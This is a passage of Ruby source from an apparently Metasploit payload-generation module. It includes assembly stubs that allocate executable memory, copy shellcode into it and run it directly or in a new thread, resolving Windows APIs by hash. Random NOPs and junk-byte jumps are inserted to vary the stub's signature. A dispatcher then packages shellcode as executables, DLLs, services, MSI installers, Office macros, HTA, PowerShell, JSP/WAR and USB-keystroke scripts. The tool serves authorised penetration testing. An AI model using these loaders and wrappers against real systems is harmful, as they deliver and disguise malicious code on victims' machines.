1761
end
1762
1763
# This wrapper is responsible for allocating RWX memory, copying the
1764
# target code there, setting an exception handler that calls ExitProcess
1765
# and finally executing the code.
1766
def self.win32_rwx_exec(code)
1767
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1768
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1769
arch: ARCH_X86,
1770
name: 'api_call'
1771
)
1772
1773
stub_exit = %Q^
1774
; Input: EBP must be the address of 'api_call'.
1775
; Output: None.
1776
; Clobbers: EAX, EBX, (ESP will also be modified)
1777
; Note: Execution is not expected to (successfully) continue past this block
1778
1779
exitfunk:
1780
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
1781
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
1782
mov eax, ebp
1783
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
1784
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1785
jl goodbye ; Then just call the exit function...
1786
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1787
jne goodbye ;
1788
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1789
goodbye: ; We now perform the actual call to the exit function
1790
push byte 0 ; push the exit function parameter
1791
push ebx ; push the hash of the exit function
1792
call ebp ; call EXITFUNK( 0 );
1793
^
1794
1795
stub_alloc = %Q^
1796
cld ; Clear the direction flag.
1797
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1798
delta: ;
1799
#{stub_block}
1800
start: ;
1801
pop ebp ; Pop off the address of 'api_call' for calling later.
1802
1803
allocate_size:
1804
mov esi, #{code.length}
1805
1806
allocate:
1807
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1808
push 0x1000 ; MEM_COMMIT
1809
push esi ; Push the length value of the wrapped code block
1810
push byte 0 ; NULL as we dont care where the allocation is.
1811
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
1812
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1813
1814
mov ebx, eax ; Store allocated address in ebx
1815
mov edi, eax ; Prepare EDI with the new address
1816
mov ecx, esi ; Prepare ECX with the length of the code
1817
call get_payload
1818
got_payload:
1819
pop esi ; Prepare ESI with the source to copy
1820
rep movsb ; Copy the payload to RWX memory
1821
call set_handler ; Configure error handling
1822
1823
exitblock:
1824
#{stub_exit}
1825
set_handler:
1826
xor eax,eax
1827
push dword [fs:eax]
1828
mov dword [fs:eax], esp
1829
call ebx
1830
jmp exitblock
1831
^
1832
1833
stub_final = %Q^
1834
get_payload:
1835
call got_payload
1836
payload:
1837
; Append an arbitrary payload here
1838
^
1839
1840
stub_alloc.gsub!('short', '')
1841
stub_alloc.gsub!('byte', '')
1842
1843
wrapper = ""
1844
# regs = %W{eax ebx ecx edx esi edi ebp}
1845
1846
cnt_jmp = 0
1847
stub_alloc.each_line do |line|
1848
line.gsub!(/;.*/, '')
1849
line.strip!
1850
next if line.empty?
1851
1852
wrapper << "nop\n" if rand(2) == 0
1853
1854
if rand(2) == 0
1855
wrapper << "jmp autojump#{cnt_jmp}\n"
1856
1.upto(rand(8)+8) do
1857
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1858
end
1859
wrapper << "autojump#{cnt_jmp}:\n"
1860
cnt_jmp += 1
1861
end
1862
wrapper << line + "\n"
1863
end
1864
1865
wrapper << stub_final
1866
1867
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1868
enc.data + code
1869
end
1870
1871
# This wrapper is responsible for allocating RWX memory, copying the
1872
# target code there, setting an exception handler that calls ExitProcess,
1873
# starting the code in a new thread, and finally jumping back to the next
1874
# code to execute. block_offset is the offset of the next code from
1875
# the start of this code
1876
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
1877
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1878
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1879
arch: ARCH_X86,
1880
name: 'api_call'
1881
)
1882
1883
stub_exit = %Q^
1884
; Input: EBP must be the address of 'api_call'.
1885
; Output: None.
1886
; Clobbers: EAX, EBX, (ESP will also be modified)
1887
; Note: Execution is not expected to (successfully) continue past this block
1888
1889
exitfunk:
1890
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
1891
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
1892
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1893
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1894
jl goodbye ; Then just call the exit function...
1895
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1896
jne goodbye ;
1897
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1898
goodbye: ; We now perform the actual call to the exit function
1899
push byte 0 ; push the exit function parameter
1900
push ebx ; push the hash of the exit function
1901
call ebp ; call EXITFUNK( 0 );
1902
^
1903
1904
stub_alloc = %Q^
1905
pushad ; Save registers
1906
cld ; Clear the direction flag.
1907
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1908
delta: ;
1909
#{stub_block}
1910
start: ;
1911
pop ebp ; Pop off the address of 'api_call' for calling later.
1912
1913
allocate_size:
1914
mov esi,#{code.length}
1915
1916
allocate:
1917
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1918
push 0x1000 ; MEM_COMMIT
1919
push esi ; Push the length value of the wrapped code block
1920
push byte 0 ; NULL as we dont care where the allocation is.
1921
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
1922
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1923
1924
mov ebx, eax ; Store allocated address in ebx
1925
mov edi, eax ; Prepare EDI with the new address
1926
mov ecx, esi ; Prepare ECX with the length of the code
1927
call get_payload
1928
got_payload:
1929
pop esi ; Prepare ESI with the source to copy
1930
rep movsb ; Copy the payload to RWX memory
1931
call set_handler ; Configure error handling
1932
1933
exitblock:
1934
#{stub_exit}
1935
1936
set_handler:
1937
xor eax,eax
1938
; push dword [fs:eax]
1939
; mov dword [fs:eax], esp
1940
push eax ; LPDWORD lpThreadId (NULL)
1941
push eax ; DWORD dwCreationFlags (0)
1942
push eax ; LPVOID lpParameter (NULL)
1943
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
1944
push eax ; SIZE_T dwStackSize (0 for default)
1945
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
1946
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
1947
call ebp ; Spawn payload thread
1948
1949
pop eax ; Skip
1950
; pop eax ; Skip
1951
pop eax ; Skip
1952
popad ; Get our registers back
1953
; sub esp, 44 ; Move stack pointer back past the handler
1954
^
1955
1956
stub_final = %Q^
1957
get_payload:
1958
call got_payload
1959
payload:
1960
; Append an arbitrary payload here
1961
^
1962
1963
1964
stub_alloc.gsub!('short', '')
1965
stub_alloc.gsub!('byte', '')
1966
1967
wrapper = ""
1968
# regs = %W{eax ebx ecx edx esi edi ebp}
1969
1970
cnt_jmp = 0
1971
cnt_nop = 64
1972
1973
stub_alloc.each_line do |line|
1974
line.gsub!(/;.*/, '')
1975
line.strip!
1976
next if line.empty?
1977
1978
if cnt_nop > 0 && rand(4) == 0
1979
wrapper << "nop\n"
1980
cnt_nop -= 1
1981
end
1982
1983
if cnt_nop > 0 && rand(16) == 0
1984
cnt_nop -= 2
1985
cnt_jmp += 1
1986
1987
wrapper << "jmp autojump#{cnt_jmp}\n"
1988
1.upto(rand(8)+1) do
1989
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
1990
cnt_nop -= 1
1991
end
1992
wrapper << "autojump#{cnt_jmp}:\n"
1993
end
1994
wrapper << line + "\n"
1995
end
1996
1997
# @TODO: someone who knows how to use metasm please explain the right way to do this.
1998
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
1999
wrapper << stub_final
2000
2001
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
2002
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
2003
res = enc.data + code
2004
2005
if which_offset == 'start'
2006
res[soff,4] = [block_offset - (soff + 4)].pack('V')
2007
elsif which_offset == 'end'
2008
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
2009
else
2010
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
2011
end
2012
res
2013
end
2014
2015
2016
#
2017
# Generate an executable of a given format suitable for running on the
2018
# architecture/platform pair.
2019
#
2020
# This routine is shared between msfvenom, rpc, and payload modules (use
2021
# <payload>)
2022
#
2023
# @param framework [Framework]
2024
# @param arch [String] Architecture for the target format; one of the ARCH_*
2025
# constants
2026
# @param plat [#index] platform
2027
# @param code [String] The shellcode for the resulting executable to run
2028
# @param fmt [String] One of the executable formats as defined in
2029
# {.to_executable_fmt_formats}
2030
# @param exeopts [Hash] Passed directly to the appropriate method for
2031
# generating an executable for the given +arch+/+plat+ pair.
2032
# @return [String] An executable appropriate for the given
2033
# architecture/platform pair.
2034
# @return [nil] If the format is unrecognized or the arch and plat don't
2035
# make sense together.
2036
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2037
# For backwards compatibility with the way this gets called when
2038
# generating from Msf::Simple::Payload.generate_simple
2039
if arch.kind_of? Array
2040
output = nil
2041
arch.each do |a|
2042
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
2043
break if output
2044
end
2045
return output
2046
end
2047
2048
# otherwise the result of this huge case statement is returned
2049
case fmt
2050
when 'asp'
2051
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2052
Msf::Util::EXE.to_exe_asp(exe, exeopts)
2053
when 'aspx'
2054
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
2055
when 'aspx-exe'
2056
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2057
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
2058
when 'dll'
2059
case arch
2060
when ARCH_X86,nil
2061
to_win32pe_dll(framework, code, exeopts)
2062
when ARCH_X64
2063
to_win64pe_dll(framework, code, exeopts)
2064
end
2065
when 'exe'
2066
case arch
2067
when ARCH_X86,nil
2068
to_win32pe(framework, code, exeopts)
2069
when ARCH_X64
2070
to_win64pe(framework, code, exeopts)
2071
end
2072
when 'exe-service'
2073
case arch
2074
when ARCH_X86,nil
2075
to_win32pe_service(framework, code, exeopts)
2076
when ARCH_X64
2077
to_win64pe_service(framework, code, exeopts)
2078
end
2079
when 'exe-small'
2080
case arch
2081
when ARCH_X86,nil
2082
to_win32pe_old(framework, code, exeopts)
2083
when ARCH_X64
2084
to_win64pe(framework, code, exeopts)
2085
end
2086
when 'exe-only'
2087
case arch
2088
when ARCH_X86,nil
2089
to_winpe_only(framework, code, exeopts)
2090
when ARCH_X64
2091
to_winpe_only(framework, code, exeopts, arch)
2092
end
2093
when 'msi'
2094
case arch
2095
when ARCH_X86,nil
2096
exe = to_win32pe(framework, code, exeopts)
2097
when ARCH_X64
2098
exe = to_win64pe(framework, code, exeopts)
2099
end
2100
exeopts[:uac] = true
2101
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2102
when 'msi-nouac'
2103
case arch
2104
when ARCH_X86,nil
2105
exe = to_win32pe(framework, code, exeopts)
2106
when ARCH_X64
2107
exe = to_win64pe(framework, code, exeopts)
2108
end
2109
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2110
when 'elf'
2111
if elf? code
2112
return code
2113
end
2114
if !plat || plat.index(Msf::Module::Platform::Linux)
2115
case arch
2116
when ARCH_X86,nil
2117
to_linux_x86_elf(framework, code, exeopts)
2118
when ARCH_X64
2119
to_linux_x64_elf(framework, code, exeopts)
2120
when ARCH_AARCH64
2121
to_linux_aarch64_elf(framework, code, exeopts)
2122
when ARCH_ARMLE
2123
to_linux_armle_elf(framework, code, exeopts)
2124
when ARCH_MIPSBE
2125
to_linux_mipsbe_elf(framework, code, exeopts)
2126
when ARCH_MIPSLE
2127
to_linux_mipsle_elf(framework, code, exeopts)
2128
end
2129
elsif plat && plat.index(Msf::Module::Platform::BSD)
2130
case arch
2131
when ARCH_X86,nil
2132
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2133
when ARCH_X64
2134
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
2135
end
2136
elsif plat && plat.index(Msf::Module::Platform::Solaris)
2137
case arch
2138
when ARCH_X86,nil
2139
to_solaris_x86_elf(framework, code, exeopts)
2140
end
2141
end
2142
when 'elf-so'
2143
if elf? code
2144
return code
2145
end
2146
if !plat || plat.index(Msf::Module::Platform::Linux)
2147
case arch
2148
when ARCH_X86
2149
to_linux_x86_elf_dll(framework, code, exeopts)
2150
when ARCH_X64
2151
to_linux_x64_elf_dll(framework, code, exeopts)
2152
when ARCH_ARMLE
2153
to_linux_armle_elf_dll(framework, code, exeopts)
2154
when ARCH_AARCH64
2155
to_linux_aarch64_elf_dll(framework, code, exeopts)
2156
end
2157
end
2158
when 'macho', 'osx-app'
2159
if macho? code
2160
macho = code
2161
else
2162
macho = case arch
2163
when ARCH_X86,nil
2164
to_osx_x86_macho(framework, code, exeopts)
2165
when ARCH_X64
2166
to_osx_x64_macho(framework, code, exeopts)
2167
when ARCH_ARMLE
2168
to_osx_arm_macho(framework, code, exeopts)
2169
when ARCH_PPC
2170
to_osx_ppc_macho(framework, code, exeopts)
2171
when ARCH_AARCH64
2172
to_osx_aarch64_macho(framework, code, exeopts)
2173
end
2174
end
2175
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
2176
when 'vba'
2177
Msf::Util::EXE.to_vba(framework, code, exeopts)
2178
when 'vba-exe'
2179
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2180
Msf::Util::EXE.to_exe_vba(exe)
2181
when 'vba-psh'
2182
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
2183
when 'vbs'
2184
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2185
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
2186
when 'loop-vbs'
2187
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2188
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
2189
when 'jsp'
2190
arch ||= [ ARCH_X86 ]
2191
tmp_plat = plat.platforms if plat
2192
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2193
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2194
Msf::Util::EXE.to_jsp(exe)
2195
when 'war'
2196
arch ||= [ ARCH_X86 ]
2197
tmp_plat = plat.platforms if plat
2198
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2199
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2200
Msf::Util::EXE.to_jsp_war(exe)
2201
when 'psh'
2202
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
2203
when 'psh-net'
2204
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
2205
when 'psh-reflection'
2206
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
2207
when 'psh-cmd'
2208
Msf::Util::EXE.to_powershell_command(framework, arch, code)
2209
when 'hta-psh'
2210
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
2211
when 'python-reflection'
2212
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
2213
when 'ducky-script-psh'
2214
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
2215
end
2216
end
2217
2218
# FMT Formats
2219
# self.to_executable_fmt_formats
2220
# @return [Array] Returns an array of strings
2221
def self.to_executable_fmt_formats
2222
[
2223
"asp",
2224
"aspx",
2225
"aspx-exe",
2226
"axis2",
2227
"dll",
2228
"ducky-script-psh",
2229
"elf",
2230
"elf-so",
2231
"exe",
2232
"exe-only",
2233
"exe-service",
2234
"exe-small",
2235
"hta-psh",
2236
"jar",
2237
"jsp",
2238
"loop-vbs",
2239
"macho",
2240
"msi",
2241
"msi-nouac",
2242
"osx-app",
2243
"psh",
2244
"psh-cmd",
2245
"psh-net",
2246
"psh-reflection",
2247
"python-reflection",
2248
"vba",
2249
"vba-exe",
2250
"vba-psh",
2251
"vbs",
2252
"war"
2253
]
2254
end
2255
2256
# self.get_file_contents
2257
#
2258
# @param perms [String]
2259
# @param file [String]
2260
# @return [String]
2261
def self.get_file_contents(file, perms = "rb")
2262
contents = ''
2263
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
2264
contents
2265
end
2266
2267
# self.find_payload_tag
2268
#
2269
# @param mo [String]
2270
# @param err_msg [String]
2271
# @raise [RuntimeError] if the "PAYLOAD:" is not found
2272
# @return [Integer]
2273
def self.find_payload_tag(mo, err_msg)
2274
bo = mo.index('PAYLOAD:')
2275
unless bo
2276
raise RuntimeError, err_msg
2277
end
2278
bo
2279
end
2280
2281
def self.elf?(code)
2282
code[0..3] == "\x7FELF"
2283
end
2284
2285
def self.macho?(code)
2286
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
2287
end
2288
2289
end
2290
end
2291
end
2292
2293